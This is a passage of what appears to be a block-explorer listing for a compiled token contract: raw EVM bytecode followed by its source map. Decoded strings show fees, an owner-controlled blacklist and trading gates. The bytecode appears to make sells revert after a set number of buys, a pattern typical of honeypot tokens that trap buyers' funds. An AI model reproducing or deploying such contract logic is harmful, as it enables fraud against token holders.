fffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160b9190612d7e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611687576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167e9061327a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ed9061330c565b60405180910390fd5b60008111611739576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117309061339e565b60405180910390fd5b611741610e74565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117af575061177f610e74565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b9a57601560149054906101000a900460ff1661183e576117d0610e74565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461183d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183490613430565b60405180910390fd5b5b601654811115611883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187a9061349c565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119275750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611966576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195d9061352e565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611a1357601754816119c884610bff565b6119d2919061354e565b10611a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a09906135f4565b60405180910390fd5b5b6000611a1e30610bff565b9050600060185482101590506016548210611a395760165491505b808015611a51575060158054906101000a900460ff16155b8015611aab5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ac35750601560169054906101000a900460ff165b8015611b195750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b6f5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b9757611b7d82612000565b60004790506000811115611b9557611b9447611f26565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c415750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611cf45750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611cf35750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611d025760009050611eb0565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611dad5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ddd57600854600c81905550600954600d8190555060196000815480929190611dd79061300a565b91905055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e885750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611eaf57600a54600c81905550600b54600d81905550602360195410611eae57600080fd5b5b5b611ebc84848484612277565b50505050565b6000838311158290611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f019190612c27565b60405180910390fd5b5060008385611f199190613614565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f8e573d6000803e3d6000fd5b5050565b6000600654821115611fd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd0906136ba565b60405180910390fd5b6000611fe36122a4565b9050611ff881846122cf90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612037576120366129be565b5b6040519080825280602002602001820160405280156120655781602001602082028036833780820191505090505b509050308160008151811061207d5761207c612fac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612124573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061214891906136ef565b8160018151811061215c5761215b612fac565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121c330601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461144f565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612227959493929190613815565b600060405180830381600087803b15801561224157600080fd5b505af1158015612255573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061228557612284612319565b5b612290848484612356565b8061229e5761229d612521565b5b50505050565b60008060006122b1612535565b915091506122c881836122cf90919063ffffffff16565b9250505090565b600061231183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612591565b905092915050565b6000600c5414801561232d57506000600d54145b61235457600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612368876125f4565b9550955095509550955095506123c686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461265c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061245b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124a781612704565b6124b184836127c1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161250e9190612d7e565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000664a9b63844880009050612567664a9b63844880006006546122cf90919063ffffffff16565b82101561258457600654664a9b638448800093509350505061258d565b81819350935050505b9091565b600080831182906125d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125cf9190612c27565b60405180910390fd5b50600083856125e7919061389e565b9050809150509392505050565b60008060008060008060008060006126118a600c54600d546127fb565b92509250925060006126216122a4565b905060008060006126348e878787612891565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061269e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ec2565b905092915050565b60008082846126b5919061354e565b9050838110156126fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f19061391b565b60405180910390fd5b8091505092915050565b600061270e6122a4565b90506000612725828461291a90919063ffffffff16565b905061277981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127d68260065461265c90919063ffffffff16565b6006819055506127f1816007546126a690919063ffffffff16565b6007819055505050565b6000806000806128276064612819888a61291a90919063ffffffff16565b6122cf90919063ffffffff16565b905060006128516064612843888b61291a90919063ffffffff16565b6122cf90919063ffffffff16565b9050600061287a8261286c858c61265c90919063ffffffff16565b61265c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128aa858961291a90919063ffffffff16565b905060006128c1868961291a90919063ffffffff16565b905060006128d8878961291a90919063ffffffff16565b90506000612901826128f3858761265c90919063ffffffff16565b61265c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080830361292c576000905061298e565b6000828461293a919061393b565b9050828482612949919061389e565b14612989576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612980906139ef565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6129f6826129ad565b810181811067ffffffffffffffff82111715612a1557612a146129be565b5b80604052505050565b6000612a28612994565b9050612a3482826129ed565b919050565b600067ffffffffffffffff821115612a5457612a536129be565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a9582612a6a565b9050919050565b612aa581612a8a565b8114612ab057600080fd5b50565b600081359050612ac281612a9c565b92915050565b6000612adb612ad684612a39565b612a1e565b90508083825260208201905060208402830185811115612afe57612afd612a65565b5b835b81811015612b275780612b138882612ab3565b845260208401935050602081019050612b00565b5050509392505050565b600082601f830112612b4657612b456129a8565b5b8135612b56848260208601612ac8565b91505092915050565b600060208284031215612b7557612b7461299e565b5b600082013567ffffffffffffffff811115612b9357612b926129a3565b5b612b9f84828501612b31565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612be2578082015181840152602081019050612bc7565b60008484015250505050565b6000612bf982612ba8565b612c038185612bb3565b9350612c13818560208601612bc4565b612c1c816129ad565b840191505092915050565b60006020820190508181036000830152612c418184612bee565b905092915050565b6000819050919050565b612c5c81612c49565b8114612c6757600080fd5b50565b600081359050612c7981612c53565b92915050565b60008060408385031215612c9657612c9561299e565b5b6000612ca485828601612ab3565b9250506020612cb585828601612c6a565b9150509250929050565b60008115159050919050565b612cd481612cbf565b82525050565b6000602082019050612cef6000830184612ccb565b92915050565b6000819050919050565b6000612d1a612d15612d1084612a6a565b612cf5565b612a6a565b9050919050565b6000612d2c82612cff565b9050919050565b6000612d3e82612d21565b9050919050565b612d4e81612d33565b82525050565b6000602082019050612d696000830184612d45565b92915050565b612d7881612c49565b82525050565b6000602082019050612d936000830184612d6f565b92915050565b600080600060608486031215612db257612db161299e565b5b6000612dc086828701612ab3565b9350506020612dd186828701612ab3565b9250506040612de286828701612c6a565b9150509250925092565b600060ff82169050919050565b612e0281612dec565b82525050565b6000602082019050612e1d6000830184612df9565b92915050565b612e2c81612a8a565b82525050565b6000602082019050612e476000830184612e23565b92915050565b600060208284031215612e6357612e6261299e565b5b6000612e7184828501612ab3565b91505092915050565b612e8381612cbf565b8114612e8e57600080fd5b50565b600081359050612ea081612e7a565b92915050565b600060208284031215612ebc57612ebb61299e565b5b6000612eca84828501612e91565b91505092915050565b600060208284031215612ee957612ee861299e565b5b6000612ef784828501612c6a565b91505092915050565b60008060408385031215612f1757612f1661299e565b5b6000612f2585828601612ab3565b9250506020612f3685828601612ab3565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612f76602083612bb3565b9150612f8182612f40565b602082019050919050565b60006020820190508181036000830152612fa581612f69565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061301582612c49565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361304757613046612fdb565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006130ae602683612bb3565b91506130b982613052565b604082019050919050565b600060208201905081810360008301526130dd816130a1565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613140602483612bb3565b915061314b826130e4565b604082019050919050565b6000602082019050818103600083015261316f81613133565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006131d2602283612bb3565b91506131dd82613176565b604082019050919050565b60006020820190508181036000830152613201816131c5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613264602583612bb3565b915061326f82613208565b604082019050919050565b6000602082019050818103600083015261329381613257565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006132f6602383612bb3565b91506133018261329a565b604082019050919050565b60006020820190508181036000830152613325816132e9565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613388602983612bb3565b91506133938261332c565b604082019050919050565b600060208201905081810360008301526133b78161337b565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b600061341a603f83612bb3565b9150613425826133be565b604082019050919050565b600060208201905081810360008301526134498161340d565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613486601c83612bb3565b915061349182613450565b602082019050919050565b600060208201905081810360008301526134b581613479565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613518602383612bb3565b9150613523826134bc565b604082019050919050565b600060208201905081810360008301526135478161350b565b9050919050565b600061355982612c49565b915061356483612c49565b925082820190508082111561357c5761357b612fdb565b5b92915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006135de602383612bb3565b91506135e982613582565b604082019050919050565b6000602082019050818103600083015261360d816135d1565b9050919050565b600061361f82612c49565b915061362a83612c49565b925082820390508181111561364257613641612fdb565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006136a4602a83612bb3565b91506136af82613648565b604082019050919050565b600060208201905081810360008301526136d381613697565b9050919050565b6000815190506136e981612a9c565b92915050565b6000602082840312156137055761370461299e565b5b6000613713848285016136da565b91505092915050565b6000819050919050565b600061374161373c6137378461371c565b612cf5565b612c49565b9050919050565b61375181613726565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61378c81612a8a565b82525050565b600061379e8383613783565b60208301905092915050565b6000602082019050919050565b60006137c282613757565b6137cc8185613762565b93506137d783613773565b8060005b838110156138085781516137ef8882613792565b97506137fa836137aa565b9250506001810190506137db565b5085935050505092915050565b600060a08201905061382a6000830188612d6f565b6138376020830187613748565b818103604083015261384981866137b7565b90506138586060830185612e23565b6138656080830184612d6f565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006138a982612c49565b91506138b483612c49565b9250826138c4576138c361386f565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613905601b83612bb3565b9150613910826138cf565b602082019050919050565b60006020820190508181036000830152613934816138f8565b9050919050565b600061394682612c49565b915061395183612c49565b925082820261395f81612c49565b9150828204841483151761397657613975612fdb565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006139d9602183612bb3565b91506139e48261397d565b604082019050919050565b60006020820190508181036000830152613a08816139cc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122090bdfcc59942061e2437722fd2f8ac127800df19f3fc8072c84028c1a89d5e0664736f6c63430008120033

Deployed Bytecode Sourcemap

4187:13117:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12945:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6715:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7640:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5535:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6992:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5896:17;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7841:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5837:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6901:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5583:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13122:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17050:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12702:235;;;;;;;;;;;;;:::i;:::-;;7095:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1674:148;;;;;;;;;;;;;:::i;:::-;;17180:107;;;;;;;;;;;;;:::i;:::-;;5733:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5277:43;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1460:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12349:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5784:46;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6806:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16859:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7241:199;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5239:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12458:236;;;;;;;;;;;;;:::i;:::-;;16644:163;;;;;;;;;;;;;:::i;:::-;;7448:184;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1830:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12945:169;1597:12;:10;:12::i;:::-;1587:22;;:6;;;;;;;;;;:22;;;1579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13021:9:::1;13016:91;13040:5;:12;13036:1;:16;13016:91;;;13091:4;13074;:14;13079:5;13085:1;13079:8;;;;;;;;:::i;:::-;;;;;;;;13074:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;13054:3;;;;;:::i;:::-;;;;13016:91;;;;12945:169:::0;:::o;6715:83::-;6752:13;6785:5;;;;;;;;;;;;;;;;;6778:12;;6715:83;:::o;7640:193::-;7742:4;7764:39;7773:12;:10;:12::i;:::-;7787:7;7796:6;7764:8;:39::i;:::-;7821:4;7814:11;;7640:193;;;;:::o;5535:41::-;;;;;;;;;;;;;:::o;6992:95::-;7045:7;4740:16;7065:14;;6992:95;:::o;5896:17::-;;;;:::o;7841:446::-;7973:4;7990:36;8000:6;8008:9;8019:6;7990:9;:36::i;:::-;8037:220;8060:6;8081:12;:10;:12::i;:::-;8108:138;8164:6;8108:138;;;;;;;;;;;;;;;;;:11;:19;8120:6;8108:19;;;;;;;;;;;;;;;:33;8128:12;:10;:12::i;:::-;8108:33;;;;;;;;;;;;;;;;:37;;:138;;;;;:::i;:::-;8037:8;:220::i;:::-;8275:4;8268:11;;7841:446;;;;;:::o;5837:52::-;;;;:::o;6901:83::-;6942:5;4414:1;6960:16;;6901:83;:::o;5583:28::-;;;;;;;;;;;;;:::o;13122:92::-;1597:12;:10;:12::i;:::-;1587:22;;:6;;;;;;;;;;:22;;;1579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;13201:5:::1;13186:4;:12;13191:6;13186:12;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;13122:92:::0;:::o;17050:101::-;1597:12;:10;:12::i;:::-;1587:22;;:6;;;;;;;;;;:22;;;1579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;17131:12:::1;17117:11;;:26;;;;;;;;;;;;;;;;;;17050:101:::0;:::o;12702:235::-;12768:19;;;;;;;;;;;12752:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;12807:17;;;;;;;;;;;12791:33;;:12;:10;:12::i;:::-;:33;;;12752:72;12744:81;;;;;;12836:26;12865:21;12836:50;;12897:32;12910:18;12897:12;:32::i;:::-;12733:204;12702:235::o;7095:138::-;7161:7;7188:37;7208:7;:16;7216:7;7208:16;;;;;;;;;;;;;;;;7188:19;:37::i;:::-;7181:44;;7095:138;;;:::o;1674:148::-;1597:12;:10;:12::i;:::-;1587:22;;:6;;;;;;;;;;:22;;;1579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1781:1:::1;1744:40;;1765:6;::::0;::::1;;;;;;;;1744:40;;;;;;;;;;;;1812:1;1795:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1674:148::o:0;17180:107::-;1597:12;:10;:12::i;:::-;1587:22;;:6;;;;;;;;;;:22;;;1579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4740:16:::1;17228:12;:20;;;;4740:16;17255:14;:22;;;;17180:107::o:0;5733:44::-;;;;:::o;5277:43::-;;;;;;;;;;;;;;;;;:::o;1460:79::-;1498:7;1525:6;;;;;;;;;;;1518:13;;1460:79;:::o;12349:101::-;1597:12;:10;:12::i;:::-;1587:22;;:6;;;;;;;;;;:22;;;1579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12430:12:::1;12416:11;;:26;;;;;;;;;;;;;;;;;;12349:101:::0;:::o;5784:46::-;;;;:::o;6806:87::-;6845:13;6878:7;;;;;;;;;;;;;;;;;6871:14;;6806:87;:::o;16859:139::-;1597:12;:10;:12::i;:::-;1587:22;;:6;;;;;;;;;;:22;;;1579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16972:18:::1;16950:19;:40;;;;16859:139:::0;:::o;7241:199::-;7346:4;7368:42;7378:12;:10;:12::i;:::-;7392:9;7403:6;7368:9;:42::i;:::-;7428:4;7421:11;;7241:199;;;;:::o;5239:36::-;;;;;;;;;;;;;;;;;;;;;;:::o;12458:236::-;12524:19;;;;;;;;;;;12508:35;;:12;:10;:12::i;:::-;:35;;;:72;;;;12563:17;;;;;;;;;;;12547:33;;:12;:10;:12::i;:::-;:33;;;12508:72;12500:81;;;;;;12592:23;12618:24;12636:4;12618:9;:24::i;:::-;12592:50;;12653:33;12670:15;12653:16;:33::i;:::-;12489:205;12458:236::o;16644:163::-;1597:12;:10;:12::i;:::-;1587:22;;:6;;;;;;;;;;:22;;;1579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16713:1:::1;16696:14;:18;;;;16743:1;16725:15;:19;;;;16770:1;16755:12;:16;;;;16798:1;16782:13;:17;;;;16644:163::o:0;7448:184::-;7565:7;7597:11;:18;7609:5;7597:18;;;;;;;;;;;;;;;:27;7616:7;7597:27;;;;;;;;;;;;;;;;7590:34;;7448:184;;;;:::o;1830:244::-;1597:12;:10;:12::i;:::-;1587:22;;:6;;;;;;;;;;:22;;;1579:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;1939:1:::1;1919:22;;:8;:22;;::::0;1911:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2029:8;2000:38;;2021:6;::::0;::::1;;;;;;;;2000:38;;;;;;;;;;;;2058:8;2049:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;1830:244:::0;:::o;219:98::-;272:7;299:10;292:17;;219:98;:::o;8978:369::-;9122:1;9105:19;;:5;:19;;;9097:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9203:1;9184:21;;:7;:21;;;9176:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9285:6;9255:11;:18;9267:5;9255:18;;;;;;;;;;;;;;;:27;9274:7;9255:27;;;;;;;;;;;;;;;:36;;;;9323:7;9307:32;;9316:5;9307:32;;;9332:6;9307:32;;;;;;:::i;:::-;;;;;;;;8978:369;;;:::o;9355:2388::-;9493:1;9477:18;;:4;:18;;;9469:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9570:1;9556:16;;:2;:16;;;9548:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9640:1;9631:6;:10;9623:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;9712:7;:5;:7::i;:::-;9704:15;;:4;:15;;;;:32;;;;;9729:7;:5;:7::i;:::-;9723:13;;:2;:13;;;;9704:32;9700:1259;;;9793:11;;;;;;;;;;;9788:144;;9841:7;:5;:7::i;:::-;9833:15;;:4;:15;;;9825:91;;;;;;;;;;;;:::i;:::-;;;;;;;;;9788:144;9966:12;;9956:6;:22;;9948:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;10035:4;:10;10040:4;10035:10;;;;;;;;;;;;;;;;;;;;;;;;;10034:11;:24;;;;;10050:4;:8;10055:2;10050:8;;;;;;;;;;;;;;;;;;;;;;;;;10049:9;10034:24;10026:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;10124:13;;;;;;;;;;;10118:19;;:2;:19;;;10115:146;;10191:14;;10182:6;10166:13;10176:2;10166:9;:13::i;:::-;:22;;;;:::i;:::-;:39;10158:87;;;;;;;;;;;;:::i;:::-;;;;;;;;;10115:146;10277:28;10308:24;10326:4;10308:9;:24::i;:::-;10277:55;;10347:12;10386:19;;10362:20;:43;;10347:58;;10449:12;;10425:20;:36;10422:124;;10518:12;;10495:35;;10422:124;10566:7;:18;;;;;10578:6;;;;;;;;;;10577:7;10566:18;:43;;;;;10596:13;;;;;;;;;;;10588:21;;:4;:21;;;;10566:43;:58;;;;;10613:11;;;;;;;;;;;10566:58;:87;;;;;10629:18;:24;10648:4;10629:24;;;;;;;;;;;;;;;;;;;;;;;;;10628:25;10566:87;:114;;;;;10658:18;:22;10677:2;10658:22;;;;;;;;;;;;;;;;;;;;;;;;;10657:23;10566:114;10562:386;;;10701:38;10718:20;10701:16;:38::i;:::-;10758:26;10787:21;10758:50;;10852:1;10831:18;:22;10827:106;;;10878:35;10891:21;10878:12;:35::i;:::-;10827:106;10682:266;10562:386;9738:1221;;9700:1259;10971:12;10986:4;10971:19;;11035:18;:24;11054:4;11035:24;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;11063:18;:22;11082:2;11063:22;;;;;;;;;;;;;;;;;;;;;;;;;11035:50;11034:102;;;;11099:13;;;;;;;;;;;11091:21;;:4;:21;;;;:44;;;;;11122:13;;;;;;;;;;;11116:19;;:2;:19;;;;11091:44;11034:102;11030:652;;;11163:5;11153:15;;11030:652;;;11246:13;;;;;;;;;;;11238:21;;:4;:21;;;:55;;;;;11277:15;;;;;;;;;;;11263:30;;:2;:30;;;;11238:55;11235:186;;;11326:14;;11314:9;:26;;;;11369:12;;11359:7;:22;;;;11400:3;;:5;;;;;;;;;:::i;:::-;;;;;;11235:186;11480:13;;;;;;;;;;;11474:19;;:2;:19;;;:55;;;;;11513:15;;;;;;;;;;;11497:32;;:4;:32;;;;11474:55;11470:199;;;11562:15;;11550:9;:27;;;;11606:13;;11596:7;:23;;;;11650:2;11646:3;;:6;11638:15;;;;;;11470:199;11030:652;11694:41;11709:4;11715:2;11719:6;11727:7;11694:14;:41::i;:::-;9458:2285;9355:2388;;;:::o;2438:224::-;2558:7;2591:1;2586;:6;;2594:12;2578:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2618:9;2634:1;2630;:5;;;;:::i;:::-;2618:17;;2653:1;2646:8;;;2438:224;;;;;:::o;12242:99::-;12299:17;;;;;;;;;;;:26;;:34;12326:6;12299:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12242:99;:::o;8295:323::-;8390:7;8448;;8437;:18;;8415:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;8536:19;8558:10;:8;:10::i;:::-;8536:32;;8586:24;8598:11;8586:7;:11;;:24;;;;:::i;:::-;8579:31;;;8295:323;;;